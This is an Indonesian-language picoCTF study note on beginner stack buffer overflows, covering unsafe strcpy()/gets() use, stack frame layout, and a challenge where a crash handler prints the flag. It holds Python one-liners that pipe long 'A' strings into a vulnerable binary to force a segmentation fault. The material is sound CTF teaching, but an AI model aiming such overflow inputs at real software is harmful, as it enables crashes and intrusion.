𧨠PICOCTF SECTION 5 β Binary Exploitation
Environment: Linux / GDB / C Compiler Filosofi: Paksa program melakukan hal yang tidak seharusnya melalui memori. Target: Binary Executables (.elf), vuln.c, & Memory Stack.
Golden Rule
Jika kamu bisa mengontrol input melebihi kapasitas buffer, kamu bisa mengontrol alur program.
FASE 1 β Konsep Buffer Overflow (Bof)
1.1 Analogi Gelas & Meja
Bayangkan gelas (buffer) 100ml yang dipaksa diisi 200ml air. Tumpahannya akan membasahi meja dan mencoret dokumen penting di sekitarnya.
- Buffer: Tempat penyimpanan sementara di RAM.
- Overflow: Input yang lebih panjang dari kapasitas buffer menimpa data lain (seperti Return Address).
1.2 Kerentanan Klasik: gets() & strcpy()
Kedua fungsi ini di bahasa C sangat berbahaya karena tidak mengecek panjang input.
char buf2[16];
strcpy(buf2, input); // JIKA input > 16 byte -> OVERFLOW!FASE 2 β Anatomi Serangan Stack
Saat sebuah fungsi dipanggil, memori disusun sebagai berikut:
- Buffer (Local Vars): Misal
buf[16]. - Saved EBP/FP: Penanda posisi frame.
- Return Address: Alamat instruksi yang harus dijalankan setelah fungsi selesai.
Mekanisme Exploit: Kirimkan βtumpahanβ input (misal 28 karakter βAβ) untuk menimpa Return Address.
- 16 karakter pertama mengisi
buf. - Karakter sisanya menimpa Return Address dengan
0x41414141(βAAAAβ). - Program akan bingung (Segmentation Fault) karena alamat tersebut tidak valid.
FASE 3 β Memicu Flag (The Exploit)
Pada tantangan beginner, seringkali terdapat Signal Handler yang otomatis mencetak flag jika terjadi crash.
3.1 Identifikasi di vuln.c
void sigsegv_handler(int sig) {
printf("%s\n", flag); // Cetak flag saat crash
}3.2 Langkah Eksekusi
# 1. Buat flag dummy (jika debugging lokal)
echo "picoCTF{test_flag_lokal}" > flag.txt
# 2. Kirim input panjang (32 karakter 'A') ke program
python3 -c "print('A' * 32)" | ./vulnHasil
Program akan kena
SIGSEGV, memicusigsegv_handler, dan mencetak isiflag.txt.
Quick Reference β Cheat Sheet
# βββ EXPLOIT ONE-LINER βββ
python3 -c "print('A' * 32)" | ./vuln # Kirim 32 karakter A
./vuln <<< $(python3 -c "print('A' * 64)") # Alternatif heredoc
# βββ DEBUGGING βββ
cat vuln.c # Baca source code
ls -l vuln # Cek permission binerAnti-Pattern β Jangan Lakukan Ini
| β Salah | β Benar |
|---|---|
| Input karakter satu-satu | Gunakan Python one-liner untuk presisi |
Lupa membuat flag.txt saat debug | Buat file dummy agar program tidak error f == NULL |
| Abaikan jumlah buffer di kode | Selalu cek ukuran char buffer[X] di source code |
π Lihat Juga
- picoctf-master-index β Roadmap Utama
- picoctf-section-5-reverse-engineering β Kembali ke RE
- endpoint-security-hierarchy (Open Source & Freeware Edition) β Keamanan Sistem
PicoCTF Modul 3 | BinExp Β· Buffer Overflow Β· Stack Β· C